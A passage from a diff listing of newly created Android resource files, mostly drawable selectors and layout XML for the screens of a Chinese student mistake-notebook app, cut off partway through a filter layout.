2 | <item android:drawable="@drawable/bg_soild_blue_5" android:state_checked="true" /> | ||
3 | <item android:drawable="@drawable/bg_soild_gray_5" android:state_checked="false" /> | ||
4 | </selector> |
app/src/main/res/drawable/radio_text_selector.xml
File was created | 1 | <selector xmlns:android="http://schemas.android.com/apk/res/android"> | |
2 | <item android:color="@color/white" android:state_checked="true" /> | ||
3 | <item android:color="@color/text_title" android:state_checked="false" /> | ||
4 | </selector> |
app/src/main/res/drawable/selectall_selector.xml
File was created | 1 | <?xml version="1.0" encoding="UTF-8"?> | |
2 | <selector xmlns:android="http://schemas.android.com/apk/res/android"> | ||
3 | <item android:drawable="@drawable/ic_select" android:state_checked="true" /> | ||
4 | <item android:drawable="@drawable/ic_unselect" android:state_checked="false" /> | ||
5 | </selector> |
app/src/main/res/drawable/selector_for_custom_spinner.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <layer-list xmlns:android="http://schemas.android.com/apk/res/android"> | ||
3 | <item> | ||
4 | <shape> | ||
5 | <corners android:radius="5dp" /> | ||
6 | <solid android:color="#F5F5F5" /> | ||
7 | |||
8 | </shape> | ||
9 | </item> | ||
10 | <item | ||
11 | android:right="15dp" | ||
12 | android:top="18dp"> | ||
13 | <bitmap | ||
14 | android:gravity="end|top" | ||
15 | android:src="@drawable/ic_pack_down" /> | ||
16 | |||
17 | </item> | ||
18 | </layer-list> | ||
19 |
app/src/main/res/drawable/shape_for_custom_spinner.xml
File was created | 1 | <?xml version="1.0" encoding="utf-8"?> | |
2 | <layer-list xmlns:android="http://schemas.android.com/apk/res/android"> | ||
3 | <item> | ||
4 | <shape> | ||
5 | <corners android:radius="5dp" /> | ||
6 | <solid android:color="#F5F5F5" /> | ||
7 | |||
8 | </shape> | ||
9 | </item> | ||
10 | <item | ||
11 | android:right="15dp" | ||
12 | android:top="18dp"> | ||
13 | <bitmap | ||
14 | android:gravity="end|top" | ||
15 | android:src="@drawable/ic_pack_up" /> | ||
16 | </item> | ||
17 | </layer-list> |
app/src/main/res/drawable/topic_finish_bg.xml
File was created | 1 | <shape xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:shape="rectangle"> | ||
3 | <stroke | ||
4 | android:width="1dp" | ||
5 | android:color="#1C90F3" /> | ||
6 | <solid android:color="#331C90F3" /> | ||
7 | <corners android:radius="5dp" /> | ||
8 | </shape> |
app/src/main/res/layout/activity_add_success.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:tools="http://schemas.android.com/tools" | ||
3 | xmlns:xxx="http://schemas.android.com/apk/res-auto" | ||
4 | android:layout_width="match_parent" | ||
5 | android:layout_height="match_parent" | ||
6 | android:background="@color/white"> | ||
7 | |||
8 | <RelativeLayout | ||
9 | android:layout_width="match_parent" | ||
10 | android:layout_height="40dp" | ||
11 | android:background="@color/white"> | ||
12 | |||
13 | |||
14 | <ImageView | ||
15 | android:id="@+id/iv_back" | ||
16 | android:layout_width="30dp" | ||
17 | android:layout_height="36dp" | ||
18 | android:layout_centerVertical="true" | ||
19 | android:layout_marginLeft="5dp" | ||
20 | android:padding="10dp" | ||
21 | android:src="@mipmap/icon_back" /> | ||
22 | </RelativeLayout> | ||
23 | |||
24 | <LinearLayout | ||
25 | android:layout_width="wrap_content" | ||
26 | android:layout_height="wrap_content" | ||
27 | android:layout_centerInParent="true" | ||
28 | android:orientation="vertical"> | ||
29 | |||
30 | <ImageView | ||
31 | android:layout_width="50dp" | ||
32 | android:layout_height="58dp" | ||
33 | android:layout_gravity="center_horizontal" | ||
34 | android:src="@mipmap/ic_add_success" /> | ||
35 | |||
36 | <TextView | ||
37 | android:layout_width="wrap_content" | ||
38 | android:layout_height="wrap_content" | ||
39 | android:layout_gravity="center_horizontal" | ||
40 | android:layout_marginTop="20dp" | ||
41 | android:text="加入错题本成功!" | ||
42 | android:textColor="@color/text_title" | ||
43 | android:textSize="20dp" | ||
44 | android:textStyle="bold" /> | ||
45 | |||
46 | |||
47 | <TextView | ||
48 | android:id="@+id/tv_add" | ||
49 | android:layout_width="250dp" | ||
50 | android:layout_height="45dp" | ||
51 | android:layout_marginTop="40dp" | ||
52 | android:background="@drawable/bg_soild_blue_25" | ||
53 | android:gravity="center" | ||
54 | android:text="继续录入错题" | ||
55 | android:textColor="@color/white" | ||
56 | android:textSize="20sp" | ||
57 | android:visibility="visible" /> | ||
58 | |||
59 | <TextView | ||
60 | android:id="@+id/tv_book" | ||
61 | android:layout_width="250dp" | ||
62 | android:layout_height="45dp" | ||
63 | android:layout_marginTop="20dp" | ||
64 | android:background="@drawable/bg_soild_blue_border_25" | ||
65 | android:gravity="center" | ||
66 | android:text="去错题本查看" | ||
67 | android:textColor="#1C90F3" | ||
68 | android:textSize="20sp" | ||
69 | android:visibility="visible" /> | ||
70 | </LinearLayout> | ||
71 | </RelativeLayout> | ||
72 |
app/src/main/res/layout/activity_error_book.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="match_parent" | ||
3 | android:layout_height="match_parent" | ||
4 | android:orientation="vertical"> | ||
5 | |||
6 | <RelativeLayout | ||
7 | android:layout_width="match_parent" | ||
8 | android:layout_height="40dp"> | ||
9 | |||
10 | <TextView | ||
11 | android:layout_width="wrap_content" | ||
12 | android:layout_height="wrap_content" | ||
13 | android:layout_centerInParent="true" | ||
14 | android:text="小星错题本" | ||
15 | android:textColor="#333333" | ||
16 | android:textSize="18sp" /> | ||
17 | |||
18 | <ImageView | ||
19 | android:id="@+id/iv_back" | ||
20 | android:layout_width="30dp" | ||
21 | android:layout_height="36dp" | ||
22 | android:layout_centerVertical="true" | ||
23 | android:layout_marginLeft="5dp" | ||
24 | android:padding="10dp" | ||
25 | android:src="@mipmap/icon_back" /> | ||
26 | </RelativeLayout> | ||
27 | |||
28 | <RelativeLayout | ||
29 | android:id="@+id/rl_take_photo" | ||
30 | android:layout_width="match_parent" | ||
31 | android:layout_height="200dp" | ||
32 | android:background="@mipmap/ic_take_photo"> | ||
33 | |||
34 | <TextView | ||
35 | android:layout_width="wrap_content" | ||
36 | android:layout_height="wrap_content" | ||
37 | android:layout_alignParentRight="true" | ||
38 | android:layout_centerVertical="true" | ||
39 | android:layout_marginRight="70dp" | ||
40 | android:text="录入错题" | ||
41 | android:textColor="#EDF6FF" | ||
42 | android:textSize="22sp" | ||
43 | android:textStyle="bold" /> | ||
44 | </RelativeLayout> | ||
45 | |||
46 | <RelativeLayout | ||
47 | android:layout_width="match_parent" | ||
48 | android:layout_height="25dp"> | ||
49 | |||
50 | <TextView | ||
51 | android:layout_width="wrap_content" | ||
52 | android:layout_height="wrap_content" | ||
53 | android:layout_marginLeft="15dp" | ||
54 | android:text="最近录入错题" | ||
55 | android:textColor="#333333" | ||
56 | android:textSize="16sp" | ||
57 | android:textStyle="bold" /> | ||
58 | |||
59 | <LinearLayout | ||
60 | android:id="@+id/ll_all" | ||
61 | android:layout_width="wrap_content" | ||
62 | android:layout_height="wrap_content" | ||
63 | android:layout_alignParentRight="true" | ||
64 | android:layout_centerVertical="true" | ||
65 | android:layout_marginRight="15dp"> | ||
66 | |||
67 | <TextView | ||
68 | android:layout_width="wrap_content" | ||
69 | android:layout_height="wrap_content" | ||
70 | android:layout_gravity="center_vertical" | ||
71 | android:text="查看全部" | ||
72 | android:textColor="#666666" | ||
73 | android:textSize="12sp" /> | ||
74 | |||
75 | <ImageView | ||
76 | android:layout_width="9dp" | ||
77 | android:layout_height="10dp" | ||
78 | android:layout_gravity="center_vertical" | ||
79 | android:layout_marginLeft="5dp" | ||
80 | android:src="@mipmap/ic_arrow_right" /> | ||
81 | </LinearLayout> | ||
82 | </RelativeLayout> | ||
83 | |||
84 | <androidx.recyclerview.widget.RecyclerView | ||
85 | android:id="@+id/recycle_subject" | ||
86 | android:layout_width="match_parent" | ||
87 | android:layout_height="wrap_content" | ||
88 | android:layout_marginLeft="15dp" | ||
89 | android:layout_marginTop="15dp" | ||
90 | android:layout_marginRight="15dp" /> | ||
91 | |||
92 | <RelativeLayout | ||
93 | android:layout_width="match_parent" | ||
94 | android:layout_height="match_parent"> | ||
95 | |||
96 | <androidx.recyclerview.widget.RecyclerView | ||
97 | android:id="@+id/recycle_error" | ||
98 | android:layout_width="match_parent" | ||
99 | android:layout_height="wrap_content" | ||
100 | android:layout_marginTop="15dp" /> | ||
101 | |||
102 | <LinearLayout | ||
103 | android:id="@+id/ll_empty" | ||
104 | android:layout_width="wrap_content" | ||
105 | android:layout_height="wrap_content" | ||
106 | android:layout_centerHorizontal="true" | ||
107 | android:layout_marginTop="30dp" | ||
108 | android:orientation="vertical" | ||
109 | android:visibility="gone"> | ||
110 | |||
111 | <ImageView | ||
112 | android:layout_width="155dp" | ||
113 | android:layout_height="130dp" | ||
114 | android:src="@mipmap/ic_empty" /> | ||
115 | |||
116 | <TextView | ||
117 | android:layout_width="wrap_content" | ||
118 | android:layout_height="wrap_content" | ||
119 | android:layout_gravity="center_horizontal" | ||
120 | android:text="暂无错题~" /> | ||
121 | </LinearLayout> | ||
122 | </RelativeLayout> | ||
123 | |||
124 | |||
125 | </LinearLayout> |
app/src/main/res/layout/activity_error_detail.xml
File was created | 1 | <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:tools="http://schemas.android.com/tools" | ||
3 | xmlns:xxx="http://schemas.android.com/apk/res-auto" | ||
4 | android:layout_width="match_parent" | ||
5 | android:layout_height="match_parent" | ||
6 | android:background="#F5F5F5" | ||
7 | android:orientation="vertical"> | ||
8 | |||
9 | <RelativeLayout | ||
10 | android:id="@+id/rl_top" | ||
11 | android:layout_width="match_parent" | ||
12 | android:layout_height="40dp" | ||
13 | android:background="@color/white"> | ||
14 | |||
15 | <TextView | ||
16 | android:id="@+id/tv_title" | ||
17 | android:layout_width="wrap_content" | ||
18 | android:layout_height="wrap_content" | ||
19 | android:layout_centerInParent="true" | ||
20 | android:ellipsize="end" | ||
21 | android:maxWidth="330dp" | ||
22 | android:singleLine="true" | ||
23 | android:textColor="#333333" | ||
24 | android:textSize="18sp" /> | ||
25 | |||
26 | <ImageView | ||
27 | android:id="@+id/iv_edit" | ||
28 | android:layout_width="40dp" | ||
29 | android:layout_height="40dp" | ||
30 | android:layout_toRightOf="@+id/tv_title" | ||
31 | android:padding="10dp" | ||
32 | android:src="@mipmap/ic_error_edit" /> | ||
33 | |||
34 | <ImageView | ||
35 | android:id="@+id/iv_back" | ||
36 | android:layout_width="30dp" | ||
37 | android:layout_height="36dp" | ||
38 | android:layout_centerVertical="true" | ||
39 | android:layout_marginLeft="5dp" | ||
40 | android:padding="10dp" | ||
41 | android:src="@mipmap/icon_back" /> | ||
42 | |||
43 | </RelativeLayout> | ||
44 | |||
45 | <ScrollView | ||
46 | android:layout_width="match_parent" | ||
47 | android:layout_height="match_parent"> | ||
48 | |||
49 | <LinearLayout | ||
50 | android:layout_width="match_parent" | ||
51 | android:layout_height="wrap_content" | ||
52 | android:background="#F5F5F5" | ||
53 | android:orientation="vertical"> | ||
54 | |||
55 | <LinearLayout | ||
56 | android:id="@+id/ll_pic" | ||
57 | android:layout_width="match_parent" | ||
58 | android:layout_height="wrap_content" | ||
59 | android:background="@color/white" | ||
60 | android:orientation="vertical"> | ||
61 | |||
62 | <TextView | ||
63 | android:layout_width="wrap_content" | ||
64 | android:layout_height="wrap_content" | ||
65 | android:layout_marginLeft="15dp" | ||
66 | android:layout_marginTop="15dp" | ||
67 | android:text="原题图片" | ||
68 | android:textColor="@color/text_title" | ||
69 | android:textSize="15sp" /> | ||
70 | |||
71 | <RelativeLayout | ||
72 | android:layout_width="match_parent" | ||
73 | android:layout_height="90dp" | ||
74 | android:layout_marginLeft="15dp" | ||
75 | android:layout_marginTop="15dp" | ||
76 | android:layout_marginRight="15dp" | ||
77 | android:layout_marginBottom="15dp"> | ||
78 | |||
79 | <RelativeLayout | ||
80 | android:layout_width="match_parent" | ||
81 | android:layout_height="match_parent" | ||
82 | android:background="#F5F5F5"> | ||
83 | |||
84 | <ImageView | ||
85 | android:id="@+id/iv_topic" | ||
86 | android:layout_width="wrap_content" | ||
87 | android:layout_height="wrap_content" | ||
88 | android:layout_centerVertical="true" /> | ||
89 | </RelativeLayout> | ||
90 | </RelativeLayout> | ||
91 | </LinearLayout> | ||
92 | |||
93 | <LinearLayout | ||
94 | android:id="@+id/ll_origin" | ||
95 | android:layout_width="match_parent" | ||
96 | android:layout_height="wrap_content" | ||
97 | android:background="@color/white" | ||
98 | android:orientation="vertical" | ||
99 | tools:ignore="WebViewLayout"> | ||
100 | |||
101 | <TextView | ||
102 | android:layout_width="wrap_content" | ||
103 | android:layout_height="wrap_content" | ||
104 | android:layout_marginLeft="15dp" | ||
105 | android:layout_marginTop="15dp" | ||
106 | android:text="题目" | ||
107 | android:textColor="@color/text_title" | ||
108 | android:textSize="15sp" /> | ||
109 | |||
110 | <WebView | ||
111 | android:id="@+id/web_content" | ||
112 | android:layout_width="wrap_content" | ||
113 | android:layout_height="wrap_content" | ||
114 | android:layout_marginLeft="10dp" | ||
115 | android:layout_marginTop="10dp" | ||
116 | android:layout_marginBottom="10dp" /> | ||
117 | </LinearLayout> | ||
118 | |||
119 | <LinearLayout | ||
120 | android:id="@+id/ll_analyse" | ||
121 | android:layout_width="match_parent" | ||
122 | android:layout_height="wrap_content" | ||
123 | android:layout_marginTop="15dp" | ||
124 | android:background="@color/white" | ||
125 | android:orientation="vertical" | ||
126 | tools:ignore="WebViewLayout"> | ||
127 | |||
128 | <TextView | ||
129 | android:layout_width="wrap_content" | ||
130 | android:layout_height="wrap_content" | ||
131 | android:layout_marginLeft="15dp" | ||
132 | android:layout_marginTop="15dp" | ||
133 | android:text="解答" | ||
134 | android:textColor="@color/text_title" | ||
135 | android:textSize="15sp" /> | ||
136 | |||
137 | <LinearLayout | ||
138 | android:layout_width="match_parent" | ||
139 | android:layout_height="wrap_content" | ||
140 | android:layout_margin="15dp" | ||
141 | android:background="@drawable/bg_soild_gray_5"> | ||
142 | |||
143 | <WebView | ||
144 | android:id="@+id/web_analyse" | ||
145 | android:layout_width="wrap_content" | ||
146 | android:layout_height="wrap_content" | ||
147 | android:layout_margin="10dp" /> | ||
148 | </LinearLayout> | ||
149 | </LinearLayout> | ||
150 | |||
151 | <LinearLayout | ||
152 | android:id="@+id/ll_answer" | ||
153 | android:layout_width="match_parent" | ||
154 | android:layout_height="wrap_content" | ||
155 | android:layout_marginTop="15dp" | ||
156 | android:background="@color/white" | ||
157 | android:orientation="vertical" | ||
158 | tools:ignore="WebViewLayout"> | ||
159 | |||
160 | <TextView | ||
161 | android:layout_width="wrap_content" | ||
162 | android:layout_height="wrap_content" | ||
163 | android:layout_marginLeft="15dp" | ||
164 | android:layout_marginTop="15dp" | ||
165 | android:text="答案" | ||
166 | android:textColor="@color/text_title" | ||
167 | android:textSize="15sp" /> | ||
168 | |||
169 | <LinearLayout | ||
170 | android:layout_width="match_parent" | ||
171 | android:layout_height="wrap_content" | ||
172 | android:layout_margin="15dp" | ||
173 | android:background="@drawable/bg_soild_gray_5"> | ||
174 | |||
175 | <WebView | ||
176 | android:id="@+id/web_answer" | ||
177 | android:layout_width="wrap_content" | ||
178 | android:layout_height="wrap_content" | ||
179 | android:layout_margin="10dp" /> | ||
180 | </LinearLayout> | ||
181 | </LinearLayout> | ||
182 | |||
183 | <LinearLayout | ||
184 | android:id="@+id/ll_points" | ||
185 | android:layout_width="match_parent" | ||
186 | android:layout_height="wrap_content" | ||
187 | android:layout_marginTop="15dp" | ||
188 | android:background="@color/white" | ||
189 | android:orientation="vertical" | ||
190 | tools:ignore="WebViewLayout"> | ||
191 | |||
192 | <TextView | ||
193 | android:layout_width="wrap_content" | ||
194 | android:layout_height="wrap_content" | ||
195 | android:layout_marginLeft="15dp" | ||
196 | android:layout_marginTop="15dp" | ||
197 | android:text="知识点" | ||
198 | android:textColor="@color/text_title" | ||
199 | android:textSize="15sp" /> | ||
200 | |||
201 | <LinearLayout | ||
202 | android:layout_width="match_parent" | ||
203 | android:layout_height="40dp" | ||
204 | android:layout_margin="15dp" | ||
205 | android:background="@drawable/bg_soild_gray_5"> | ||
206 | |||
207 | <TextView | ||
208 | android:id="@+id/tv_points" | ||
209 | android:layout_width="wrap_content" | ||
210 | android:layout_height="wrap_content" | ||
211 | android:layout_gravity="center_vertical" | ||
212 | android:layout_marginLeft="15dp" | ||
213 | android:gravity="center_vertical" | ||
214 | android:textColor="#1C90F3" | ||
215 | android:textSize="14sp" /> | ||
216 | </LinearLayout> | ||
217 | </LinearLayout> | ||
218 | |||
219 | <LinearLayout | ||
220 | android:id="@+id/ll_reason" | ||
221 | android:layout_width="match_parent" | ||
222 | android:layout_height="wrap_content" | ||
223 | android:layout_marginTop="15dp" | ||
224 | android:background="@color/white" | ||
225 | android:orientation="vertical" | ||
226 | tools:ignore="WebViewLayout"> | ||
227 | |||
228 | <TextView | ||
229 | android:layout_width="wrap_content" | ||
230 | android:layout_height="wrap_content" | ||
231 | android:layout_marginLeft="15dp" | ||
232 | android:layout_marginTop="15dp" | ||
233 | android:text="错误原因" | ||
234 | android:textColor="@color/text_title" | ||
235 | android:textSize="15sp" /> | ||
236 | |||
237 | <androidx.appcompat.widget.AppCompatSpinner | ||
238 | android:id="@+id/spinner_reason" | ||
239 | style="@style/customSpinnerStyle" | ||
240 | android:layout_width="match_parent" | ||
241 | android:layout_height="40dp" | ||
242 | android:layout_centerHorizontal="true" | ||
243 | android:layout_marginLeft="15dp" | ||
244 | android:layout_marginTop="15dp" | ||
245 | android:layout_marginRight="15dp" | ||
246 | android:layout_marginBottom="15dp" | ||
247 | android:background="@drawable/selector_for_custom_spinner" | ||
248 | android:entries="@array/error_reason" | ||
249 | android:popupBackground="@drawable/shape_for_custom_spinner" | ||
250 | android:scrollbars="none" /> | ||
251 | </LinearLayout> | ||
252 | |||
253 | <LinearLayout | ||
254 | android:layout_width="match_parent" | ||
255 | android:layout_height="wrap_content" | ||
256 | android:layout_marginTop="15dp" | ||
257 | android:layout_marginBottom="15dp" | ||
258 | android:background="@color/white" | ||
259 | android:orientation="vertical" | ||
260 | tools:ignore="WebViewLayout"> | ||
261 | |||
262 | <TextView | ||
263 | android:layout_width="wrap_content" | ||
264 | android:layout_height="wrap_content" | ||
265 | android:layout_marginLeft="15dp" | ||
266 | android:layout_marginTop="15dp" | ||
267 | android:text="掌握状态" | ||
268 | android:textColor="@color/text_title" | ||
269 | android:textSize="15sp" /> | ||
270 | |||
271 | <RadioGroup | ||
272 | android:id="@+id/type_radio" | ||
273 | android:layout_width="match_parent" | ||
274 | android:layout_height="40dp" | ||
275 | android:layout_marginLeft="15dp" | ||
276 | android:layout_marginTop="15dp" | ||
277 | android:layout_marginBottom="15dp" | ||
278 | android:orientation="horizontal"> | ||
279 | |||
280 | <RadioButton | ||
281 | android:layout_width="70dp" | ||
282 | android:layout_height="match_parent" | ||
283 | android:layout_marginRight="20dp" | ||
284 | android:background="@drawable/radio_button_selector" | ||
285 | android:button="@null" | ||
286 | android:gravity="center" | ||
287 | android:text="已掌握" | ||
288 | android:textColor="@drawable/radio_text_selector" | ||
289 | android:textSize="14sp" /> | ||
290 | |||
291 | <RadioButton | ||
292 | android:layout_width="70dp" | ||
293 | android:layout_height="match_parent" | ||
294 | android:layout_marginRight="20dp" | ||
295 | android:background="@drawable/radio_button_selector" | ||
296 | android:button="@null" | ||
297 | android:gravity="center" | ||
298 | android:text="未掌握" | ||
299 | android:textColor="@drawable/radio_text_selector" | ||
300 | android:textSize="14sp" /> | ||
301 | </RadioGroup> | ||
302 | </LinearLayout> | ||
303 | </LinearLayout> | ||
304 | </ScrollView> | ||
305 | </LinearLayout> |
app/src/main/res/layout/activity_error_list.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | xmlns:xxx="http://schemas.android.com/apk/res-auto" | ||
3 | android:layout_width="match_parent" | ||
4 | android:layout_height="match_parent" | ||
5 | android:background="#F8F8F8" | ||
6 | android:orientation="vertical"> | ||
7 | |||
8 | <RelativeLayout | ||
9 | android:id="@+id/rl_top" | ||
10 | android:layout_width="match_parent" | ||
11 | android:layout_height="40dp" | ||
12 | android:background="@color/white"> | ||
13 | |||
14 | <TextView | ||
15 | android:id="@+id/tv_title" | ||
16 | android:layout_width="wrap_content" | ||
17 | android:layout_height="wrap_content" | ||
18 | android:layout_centerInParent="true" | ||
19 | android:text="错题本" | ||
20 | android:textColor="#333333" | ||
21 | android:textSize="18sp" /> | ||
22 | |||
23 | <CheckBox | ||
24 | android:id="@+id/checkbox" | ||
25 | android:layout_width="wrap_content" | ||
26 | android:layout_height="wrap_content" | ||
27 | android:layout_centerVertical="true" | ||
28 | android:layout_marginLeft="15dp" | ||
29 | android:button="@drawable/selectall_selector" | ||
30 | android:checked="false" | ||
31 | android:paddingLeft="8dp" | ||
32 | android:text="全选" | ||
33 | android:textColor="@color/text_title" | ||
34 | android:visibility="gone" /> | ||
35 | |||
36 | <ImageView | ||
37 | android:id="@+id/iv_back" | ||
38 | android:layout_width="30dp" | ||
39 | android:layout_height="36dp" | ||
40 | android:layout_centerVertical="true" | ||
41 | android:layout_marginLeft="5dp" | ||
42 | android:padding="10dp" | ||
43 | android:src="@mipmap/icon_back" /> | ||
44 | |||
45 | <TextView | ||
46 | android:id="@+id/tv_edit" | ||
47 | android:layout_width="wrap_content" | ||
48 | android:layout_height="wrap_content" | ||
49 | android:layout_alignParentRight="true" | ||
50 | android:layout_centerVertical="true" | ||
51 | android:layout_marginRight="15dp" | ||
52 | android:text="编辑" | ||
53 | android:textColor="@color/text_title" | ||
54 | android:visibility="visible" /> | ||
55 | </RelativeLayout> | ||
56 | |||
57 | <LinearLayout | ||
58 | android:id="@+id/ll_filter" | ||
59 | android:layout_width="match_parent" | ||
60 | android:layout_height="40dp" | ||
61 | android:layout_below="@+id/rl_top" | ||
62 | android:background="@color/white"> | ||
63 | |||
64 | <RelativeLayout | ||
65 | android:layout_width="0dp" | ||
66 | android:layout_height="40dp" | ||
67 | android:layout_weight="1"> | ||
68 | |||
69 | <TextView | ||
70 | android:id="@+id/tv_filter_subject" | ||
71 | android:layout_width="wrap_content" | ||
72 | android:layout_height="40dp" | ||
73 | android:layout_centerVertical="true" | ||
74 | android:layout_marginLeft="15dp" | ||
75 | android:drawableRight="@drawable/ic_filter_gray" | ||
76 | android:drawablePadding="5dp" | ||
77 | android:gravity="center_vertical" | ||
78 | android:text="学科" | ||
79 | android:textColor="@color/text_title" | ||
80 | android:textSize="14sp" /> | ||
81 | |||
82 | </RelativeLayout> | ||
83 | |||
84 | <RelativeLayout | ||
85 | android:layout_width="0dp" | ||
86 | android:layout_height="40dp" | ||
87 | android:layout_weight="1"> | ||
88 | |||
89 | <TextView | ||
90 | android:id="@+id/tv_filter_grade" | ||
91 | android:layout_width="wrap_content" | ||
92 | android:layout_height="40dp" | ||
93 | android:layout_centerVertical="true" | ||
94 | android:drawableRight="@drawable/ic_filter_gray" | ||
95 | android:drawablePadding="5dp" | ||
96 | android:gravity="center_vertical" | ||
97 | android:text="年级学期" | ||
98 | android:textColor="@color/text_title" | ||
99 | android:textSize="14sp" /> | ||
100 | </RelativeLayout> | ||
101 | |||
102 | <RelativeLayout | ||
103 | android:layout_width="0dp" | ||
104 | android:layout_height="40dp" | ||
105 | android:layout_weight="1"> | ||
106 | |||
107 | <TextView | ||
108 | android:id="@+id/tv_filter_manage" | ||
109 | android:layout_width="wrap_content" | ||
110 | android:layout_height="40dp" | ||
111 | android:layout_centerVertical="true" | ||
112 | android:layout_marginLeft="10dp" | ||
113 | android:drawableRight="@drawable/ic_filter_gray" | ||
114 | android:drawablePadding="5dp" | ||
115 | android:gravity="center_vertical" | ||
116 | android:text="掌握情况" | ||
117 | android:textColor="@color/text_title" | ||
118 | android:textSize="14sp" /> | ||
119 | </RelativeLayout> | ||
120 | |||
121 | <RelativeLayout | ||
122 | android:layout_width="0dp" | ||
123 | android:layout_height="40dp" | ||
124 | android:layout_weight="1"> | ||
125 | |||
126 | <TextView | ||
127 | android:id="@+id/tv_filter_more" | ||
128 | android:layout_width="wrap_content" | ||
129 | android:layout_height="40dp" | ||
130 | android:layout_alignParentRight="true" | ||
131 | android:layout_centerVertical="true" | ||
132 | android:layout_marginRight="15dp" | ||
133 | android:drawableRight="@drawable/ic_filter_gray" | ||
134 | android:drawablePadding="5dp" | ||
135 | android:gravity="center_vertical" | ||
136 | android:text="更多筛选" | ||
137 | android:textColor="@color/text_title" | ||
138 | android:textSize="14sp" /> | ||
139 | </RelativeLayout> | ||
140 | |||
141 | </LinearLayout> | ||
142 | |||
143 | <androidx.recyclerview.widget.RecyclerView | ||
144 | android:id="@+id/recycle" | ||
145 | android:layout_width="match_parent" | ||
146 | android:layout_height="match_parent" | ||
147 | android:layout_above="@+id/rl_bottom" | ||
148 | android:layout_below="@+id/ll_filter" | ||
149 | android:layout_marginTop="15dp" /> | ||
150 | |||
151 | <LinearLayout | ||
152 | android:id="@+id/ll_filter_common" | ||
153 | android:layout_width="match_parent" | ||
154 | android:layout_height="wrap_content" | ||
155 | android:layout_below="@+id/ll_filter" | ||
156 | android:background="@drawable/bg_solid_white_10_bottom" | ||
157 | android:visibility="visible"> | ||
158 | |||
159 | <androidx.recyclerview.widget.RecyclerView | ||
160 | android:id="@+id/recycle_filter" | ||
161 | android:layout_width="match_parent" | ||
162 | android:layout_height="wrap_content" | ||
163 | android:layout_marginLeft="15dp" | ||
164 | android:layout_marginTop="15dp" | ||
165 | android:visibility="gone" /> | ||
166 | </LinearLayout> | ||
167 | |||
168 | <LinearLayout | ||
169 | android:id="@+id/ll_filter_more" | ||
170 | android:layout_width="match_parent" | ||
171 | android:layout_height="wrap_content" | ||
172 | android:layout_below="@+id/ll_filter" | ||
173 | android:background="@drawable/bg_solid_white_10_bottom" | ||
174 | android:orientation="vertical" | ||
175 | android:visibility="gone"> | ||
176 | |||
177 | <TextView | ||
178 | android:layout_width="wrap_content" | ||
179 | android:layout_height="wrap_content" | ||
180 | android:layout_marginLeft="15dp" | ||
181 | android:layout_marginTop="15dp" | ||
182 | android:text="来源" | ||
183 | android:textColor="@color/text_title" | ||
184 | android:textSize="14sp" | ||
185 | android:textStyle="bold" /> | ||
186 | |||
187 | <RadioGroup | ||
188 | android:id="@+id/group_type" | ||
189 | android:layout_width="match_parent" | ||
190 | android:layout_height="30dp" | ||
191 | android:layout_marginLeft="15dp" | ||
192 | android:layout_marginTop="15dp" | ||
193 | android:layout_marginRight="15dp" | ||
194 | android:orientation="horizontal"> | ||
195 | |||
196 | <RadioButton | ||
197 | android:layout_width="0dp" | ||
198 | android:layout_height="match_parent" | ||
199 | android:layout_marginRight="15dp" | ||
200 | android:layout_weight="1" | ||
201 | android:background="@drawable/filter_button_selector" | ||
202 | android:button="@null" | ||
203 | android:gravity="center" | ||
204 | android:text="课内" | ||
205 | android:textColor="@drawable/radio_text_selector" | ||
206 | android:textSize="14sp" /> | ||
207 | |||
208 | <RadioButton | ||
209 | android:layout_width="0dp" | ||
210 | android:layout_height="match_parent" | ||
211 | android:layout_marginRight="15dp" | ||
212 | android:layout_weight="1" | ||
213 | android:background="@drawable/filter_button_selector" | ||
214 | android:button="@null" | ||
215 | android:gravity="center" | ||
216 | android:text="课外" | ||
217 | android:textColor="@drawable/radio_text_selector" | ||
218 | android:textSize="14sp" /> | ||
219 | |||
220 | <RadioButton | ||
221 | android:layout_width="0dp" | ||
222 | android:layout_height="match_parent" | ||
223 | android:layout_marginRight="15dp" | ||
224 | android:layout_weight="1" | ||
225 | android:background="@drawable/filter_button_selector" | ||
226 | android:button="@null" | ||
227 | android:gravity="center" | ||
228 | android:text="全部" | ||
229 | android:textColor="@drawable/radio_text_selector" | ||
230 | android:textSize="14sp" /> | ||
231 | |||
232 | <View | ||
233 | android:layout_width="0dp" | ||
234 | android:layout_height="match_parent" | ||
235 | android:layout_weight="1" /> | ||
236 | </RadioGroup> | ||
237 | |||
238 | <TextView | ||
239 | android:layout_width="wrap_content" | ||
240 | android:layout_height="wrap_content" | ||
241 | android:layout_marginLeft="15dp" | ||
242 | android:layout_marginTop="15dp" | ||
243 | android:text="录入时间" | ||
244 | android:textColor="@color/text_title" | ||
245 | android:textSize="14sp" | ||
246 | android:textStyle="bold" /> | ||
247 | |||
248 | <RadioGroup | ||
249 | android:id="@+id/group_time" | ||
250 | android:layout_width="match_parent" | ||
251 | android:layout_height="30dp" | ||
252 | android:layout_marginLeft="15dp" | ||
253 | android:layout_marginTop="15dp" | ||
254 | android:layout_marginRight="15dp" | ||
255 | android:layout_marginBottom="15dp" | ||
256 | android:orientation="horizontal"> | ||
257 | |||
258 | <RadioButton | ||
259 | android:layout_width="0dp" | ||
260 | android:layout_height="match_parent" | ||
261 | android:layout_marginRight="15dp" | ||
262 | android:layout_weight="1" | ||
263 | android:background="@drawable/filter_button_selector" | ||
264 | android:button="@null" | ||
265 | android:gravity="center" | ||
266 | android:text="一周内" | ||
267 | android:textColor="@drawable/radio_text_selector" | ||
268 | android:textSize="14sp" /> | ||
269 | |||
270 | <RadioButton | ||
271 | android:layout_width="0dp" | ||
272 | android:layout_height="match_parent" | ||
273 | android:layout_marginRight="15dp" | ||
274 | android:layout_weight="1" | ||
275 | android:background="@drawable/filter_button_selector" | ||
276 | android:button="@null" | ||
277 | android:gravity="center" | ||
278 | android:text="一个月内" | ||
279 | android:textColor="@drawable/radio_text_selector" | ||
280 | android:textSize="14sp" /> | ||
281 | |||
282 | <RadioButton | ||
283 | android:layout_width="0dp" | ||
284 | android:layout_height="match_parent" | ||
285 | android:layout_marginRight="15dp" | ||
